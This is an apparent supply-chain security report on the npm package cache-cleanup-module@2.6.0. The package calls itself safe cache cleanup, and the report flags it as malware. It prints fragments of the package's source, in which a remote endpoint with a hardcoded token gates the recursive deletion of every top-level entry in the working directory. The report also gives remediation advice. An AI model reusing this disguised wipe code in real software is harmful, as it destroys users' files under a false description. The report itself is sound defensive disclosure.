registry / Destructive action / cache-cleanup-module

cache-cleanup-module

Safe, transparent cache and build artifact cleanup for Node.js projects

This report shows the evidence for cache-cleanup-module@2.6.0. 2 of 2 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This package presents itself as cache cleanup but implements remote-controlled deletion of an entire project directory. The explicit-call requirement reduces automatic exposure but does not make the destructive, deceptive capability benign.

Static reason

No blocking static signals were detected.

Trigger

A consumer calls runOperation(), with the current working directory used by default.

Impact

Destruction of project files, directories, source code, and configuration.

Mechanism

Remote-gated recursive deletion of a target directory's contents.

Attack narrative

A consumer importing the module and calling runOperation() targets the current working directory unless another path is supplied. The code contacts a remote endpoint and, if allowed, lists every top-level entry and deletes files or recursively removes directories. It does not select cache or build-artifact paths, so ordinary project contents are destroyed. The remote gate obscures when the destructive branch activates.

AI rationale

Evidence

index.jspackage.json<resolved target directory>/*

Network endpoints1

testback-2aqe.onrender.com/can-cleanup

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The exported operation defaults its target to the caller's current working directory.
It enumerates every top-level entry and recursively deletes directories or unlinks files.
A remote endpoint decides whether deletion proceeds, creating externally controlled destructive behavior.
The stated cache-cleanup purpose conflicts with deleting all entries rather than identified cache artifacts.

Evidence against

There are no install, preinstall, or postinstall lifecycle hooks.
The destructive function requires an explicit runtime call.

Behavioral surface

Source

FilesystemNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 3.24 KB of source, external domains: testback-2aqe.onrender.com

Source & flagged code

5 flagged

index.jsView file

Lines 1-40javascript

1const fs = require('fs');

2const path = require('path');

4const baseEndpoint = 'https://testback-2aqe.onrender.com/can-cleanup';

High

Ai Review Evidence

A remote endpoint decides whether deletion proceeds, creating externally controlled destructive behavior.

index.jsView on unpkg · L4

5const baseToken = 'f8675764-417f-49a4-807c-5879a667c476';

7const baseOptions = Object.freeze({

8 recursive: true,

9 force: true,

10});

12function baseRoot(inputPath) {

13 return path.resolve(inputPath || process.cwd());

14}

16function basePath(rootPath, entryName) {

17 return path.join(rootPath, entryName);

18}

20function baseEntries(rootPath, protectedPath) {

21 return fs.readdirSync(rootPath, {

22 withFileTypes: true,

23 }).filter((baseEntry) => {

24 return basePath(rootPath, baseEntry.name) !== protectedPath;

25 });

26}

28function baseRemove(targetPath, isDirectory) {

29 if (isDirectory) {

30 fs.rmSync(targetPath, baseOptions);

31 } else {

High

Ai Review Evidence

It enumerates every top-level entry and recursively deletes directories or unlinks files.

index.jsView on unpkg · L20

32 fs.unlinkSync(targetPath);

33 }

34}

36function baseProcess(rootPath, protectedPath) {

37 const baseList = baseEntries(rootPath, protectedPath);

38 let baseCount = 0;

40 for (const baseItem of baseList) {

Lines 65-112javascript

65 },

66 });

68 if (!baseResponse.ok) {

69 return {

70 allowed: false,

71 reason: `http_${baseResponse.status}`,

72 };

package.jsonView file

Lines 1-15json

2 "name": "cache-cleanup-module",

3 "version": "2.6.0",

4 "description": "Safe, transparent cache and build artifact cleanup for Node.js projects",

5 "main": "index.js",

High

Source & flagged code

5 flagged · loading source

index.jsView file

85async function runOperation(baseDirectory = process.cwd()) { const baseRootPath = baseRoot(baseDirectory);

High

Ai Review Evidence

The exported operation defaults its target to the caller's current working directory.

index.jsView on unpkg · L85

20function baseEntries(rootPath, protectedPath) { return fs.readdirSync(rootPath, { withFileTypes: true, }).filter((baseEntry) => { return basePath(rootPath, baseEntry.name) !== protectedPath; }); } function baseRemove(targetPath, isDirectory) { if (isDirectory) { fs.rmSync(targetPath, baseOptions); } else { fs.unlinkSync(targetPath); } }

High

Ai Review Evidence

It enumerates every top-level entry and recursively deletes directories or unlinks files.

index.jsView on unpkg · L20

4const baseEndpoint = 'https://testback-2aqe.onrender.com/can-cleanup';

High

Ai Review Evidence

A remote endpoint decides whether deletion proceeds, creating externally controlled destructive behavior.

index.jsView on unpkg · L4

Findings

5 High1 Medium2 Low

HighAi Review Evidenceindex.js

HighAi Review Evidencepackage.json

MediumNetwork

LowFilesystem

LowUrl Strings

Affected versions and remediation

This report applies to cache-cleanup-module@2.6.0.

The versions list below shows the verdict for each recorded version.

Avoid installing cache-cleanup-module@2.6.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-09 23:59:25.300Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

2.6.0latestshownMaliciousDestructive ActionBlockPublishedSep 8, 2026, 1:16 PM 2.5.0MaliciousDestructive ActionBlockPublishedSep 8, 2026, 1:13 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other destructive action packages

Behavioral surface

Related packages

Other destructive action packages

Source & flagged code